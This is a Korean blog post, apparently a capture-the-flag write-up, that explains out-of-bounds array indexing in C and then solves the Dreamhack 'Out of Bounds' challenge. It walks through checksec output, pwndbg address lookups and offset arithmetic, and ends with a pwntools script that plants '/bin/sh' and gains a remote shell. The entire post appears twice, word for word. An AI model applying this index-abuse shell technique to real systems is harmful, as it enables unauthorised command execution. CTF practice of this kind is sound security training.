OOB (Out of Bound) 취약점
1. Out of bound
1. 배열
배열이 사용하는 공간의 크기는 요소의 개수와 자료형의 크기를 곱한 값이 된다
배열이 포함하는 요소의 개수를 배열의 길이라고 한다

배열의 각 요소는 배열의 주소, 요소의 인덱스, 요소 자료형의 크기를 이용하여 계산된다
OOB (Out of Bound)는 요소를 참조할 때 인덱스 값이 음수거나 배열의 길이를 벗어날 때 발생한다
프로세스는 계산한 주소가 배열의 범위 안에 있는지 검사하지 않는다
사용자가 인덱스의 값을 임의로 설정할 수 있다면, 배열의 주소로부터 특정 오프셋에 있는 메모리의 값을 참조할 수 있다
→ 이러한 취약점을 Out of Bound 라고 한다
2. 예제 코드
// Name: oob.c
// Compile: gcc -o oob oob.c
#include <stdio.h>
int main() {
int arr[10];
printf("In Bound: \n");
printf("arr: %p\n", arr);
printf("arr[0]: %p\n\n", &arr[0]);
printf("Out of Bounds: \n");
printf("arr[-1]: %p\n", &arr[-1]);
printf("arr[100]: %p\n", &arr[100]);
return 0;
}
위의 코드를 컴파일 하고 실행해보자

인덱스가 -1 과 100 이지만 출력되는 것을 확인할 수 있다.
2. Out of Bounds - Dreamhack
1. 코드 확인
먼저 checksec 명령어로 취약점을 확인해보자
[*] '/home/gunp4ng/working/dreamhack/out_of_bound/out_of_bound'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
x86 아키텍처, Partial RELRO, NX-bit, Canary 가 적용된 것을 볼 수 있다
ASLR 도 적용되어 있다
C 코드를 확인해보자
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
cat, ls, id, ps, file ./oob 명령을 수행할 수 있는 commnad 가 있다
배열의 인덱스를 입력받지만 범위를 검사하지 않아 Out of Bound 취약점이 존재한다
2. 익스플로잇 구성
- name 에 /bin/sh 문자열을 입력한다
- command 의 인덱스를 이용해 name 에 저장된 /bin/sh 을 system 함수의 인자로 전달한다
3. 익스 플로잇
pwndbg> i var name
All variables matching regular expression "name":
Non-debugging symbols:
0x0804a0ac name
name 의 주소는 0x0804a0ac 이다
name[0] = 0x0804a0ac
pwndbg> i var command
All variables matching regular expression "command":
Non-debugging symbols:
0x0804a060 command
command 의 주소는 0x0804a060 이다
command[0] = 0x0804a060
command 의 인덱스를 조절하여 name 에 있는 값을 가져와야한다
command 와 name 은 76 byte 만큼 차이가 나는 것을 알 수 있다

32bit 환경이기 때문에 각 주소는 4byte 단위로 표현된다

command[0] 에 76byte 를 더하면 name[0] 을 가리킬 수 있다
- 0x0804a060(command) + 76 = 0x0804a0ac(name)
commnad[19] 를 하면 name 을 가리키게 된다
그럼 name 에 /bin/sh 을 입력하고 idx 에 19를 입력해보자

/bin/sh 을 입력하였지만 /bin 까지만 인자로 넘어간 것을 알 수 있다
/bin/sh 을 인자로 전달하기 위해서 /bin/sh 문자열 뒤에 name 의 시작 주소를 넣고
그 주소를 system 함수에 인자로 전달하면 된다
/bin/sh\x00 으로 입력하는 이유는 문자열의 끝을 확실히 알려주기 위함이다

name 에 /bin/sh\x00 을 넣고 그 주소를 system 함수의 인자로 전달해야 하기 때문에
commnad 의 인덱스는 21이 되어야 한다
from pwn import *
# context.log_level = 'debug'
# p = process('./out_of_bound')
p = remote('host3.dreamhack.games', 22702)
# payload
p.recvuntil('Admin name: ')
payload = b'/bin/sh\x00' # 8 byte
payload += p32(0x0804a0ac) # 4 byte
p.send(payload)
p.recvuntil('What do you want?: ')
p.send(b'21')
p.interactive()
위와 같이 코드를 짜고 실행하면

플래그를 획득할 수 있다
'Hacking > Pwnable' 카테고리의 다른 글
SROP (x64) (0) | 2025.03.26 |
---|---|
SROP (x86) (0) | 2025.03.25 |
Off by one (0) | 2025.03.17 |
PIE (0) | 2024.10.13 |
PIC (0) | 2024.10.12 |
OOB (Out of Bound) 취약점
1. Out of bound
1. 배열
배열이 사용하는 공간의 크기는 요소의 개수와 자료형의 크기를 곱한 값이 된다
배열이 포함하는 요소의 개수를 배열의 길이라고 한다

배열의 각 요소는 배열의 주소, 요소의 인덱스, 요소 자료형의 크기를 이용하여 계산된다
OOB (Out of Bound)는 요소를 참조할 때 인덱스 값이 음수거나 배열의 길이를 벗어날 때 발생한다
프로세스는 계산한 주소가 배열의 범위 안에 있는지 검사하지 않는다
사용자가 인덱스의 값을 임의로 설정할 수 있다면, 배열의 주소로부터 특정 오프셋에 있는 메모리의 값을 참조할 수 있다
→ 이러한 취약점을 Out of Bound 라고 한다
2. 예제 코드
// Name: oob.c
// Compile: gcc -o oob oob.c
#include <stdio.h>
int main() {
int arr[10];
printf("In Bound: \n");
printf("arr: %p\n", arr);
printf("arr[0]: %p\n\n", &arr[0]);
printf("Out of Bounds: \n");
printf("arr[-1]: %p\n", &arr[-1]);
printf("arr[100]: %p\n", &arr[100]);
return 0;
}
위의 코드를 컴파일 하고 실행해보자

인덱스가 -1 과 100 이지만 출력되는 것을 확인할 수 있다.
2. Out of Bounds - Dreamhack
1. 코드 확인
먼저 checksec 명령어로 취약점을 확인해보자
[*] '/home/gunp4ng/working/dreamhack/out_of_bound/out_of_bound'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
x86 아키텍처, Partial RELRO, NX-bit, Canary 가 적용된 것을 볼 수 있다
ASLR 도 적용되어 있다
C 코드를 확인해보자
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>
char name[16];
char *command[10] = { "cat",
"ls",
"id",
"ps",
"file ./oob" };
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main()
{
int idx;
initialize();
printf("Admin name: ");
read(0, name, sizeof(name));
printf("What do you want?: ");
scanf("%d", &idx);
system(command[idx]);
return 0;
}
cat, ls, id, ps, file ./oob 명령을 수행할 수 있는 commnad 가 있다
배열의 인덱스를 입력받지만 범위를 검사하지 않아 Out of Bound 취약점이 존재한다
2. 익스플로잇 구성
- name 에 /bin/sh 문자열을 입력한다
- command 의 인덱스를 이용해 name 에 저장된 /bin/sh 을 system 함수의 인자로 전달한다
3. 익스 플로잇
pwndbg> i var name
All variables matching regular expression "name":
Non-debugging symbols:
0x0804a0ac name
name 의 주소는 0x0804a0ac 이다
name[0] = 0x0804a0ac
pwndbg> i var command
All variables matching regular expression "command":
Non-debugging symbols:
0x0804a060 command
command 의 주소는 0x0804a060 이다
command[0] = 0x0804a060
command 의 인덱스를 조절하여 name 에 있는 값을 가져와야한다
command 와 name 은 76 byte 만큼 차이가 나는 것을 알 수 있다

32bit 환경이기 때문에 각 주소는 4byte 단위로 표현된다

command[0] 에 76byte 를 더하면 name[0] 을 가리킬 수 있다
- 0x0804a060(command) + 76 = 0x0804a0ac(name)
commnad[19] 를 하면 name 을 가리키게 된다
그럼 name 에 /bin/sh 을 입력하고 idx 에 19를 입력해보자

/bin/sh 을 입력하였지만 /bin 까지만 인자로 넘어간 것을 알 수 있다
/bin/sh 을 인자로 전달하기 위해서 /bin/sh 문자열 뒤에 name 의 시작 주소를 넣고
그 주소를 system 함수에 인자로 전달하면 된다
/bin/sh\x00 으로 입력하는 이유는 문자열의 끝을 확실히 알려주기 위함이다

name 에 /bin/sh\x00 을 넣고 그 주소를 system 함수의 인자로 전달해야 하기 때문에
commnad 의 인덱스는 21이 되어야 한다
from pwn import *
# context.log_level = 'debug'
# p = process('./out_of_bound')
p = remote('host3.dreamhack.games', 22702)
# payload
p.recvuntil('Admin name: ')
payload = b'/bin/sh\x00' # 8 byte
payload += p32(0x0804a0ac) # 4 byte
p.send(payload)
p.recvuntil('What do you want?: ')
p.send(b'21')
p.interactive()
위와 같이 코드를 짜고 실행하면

플래그를 획득할 수 있다
'Hacking > Pwnable' 카테고리의 다른 글
SROP (x64) (0) | 2025.03.26 |
---|---|
SROP (x86) (0) | 2025.03.25 |
Off by one (0) | 2025.03.17 |
PIE (0) | 2024.10.13 |
PIC (0) | 2024.10.12 |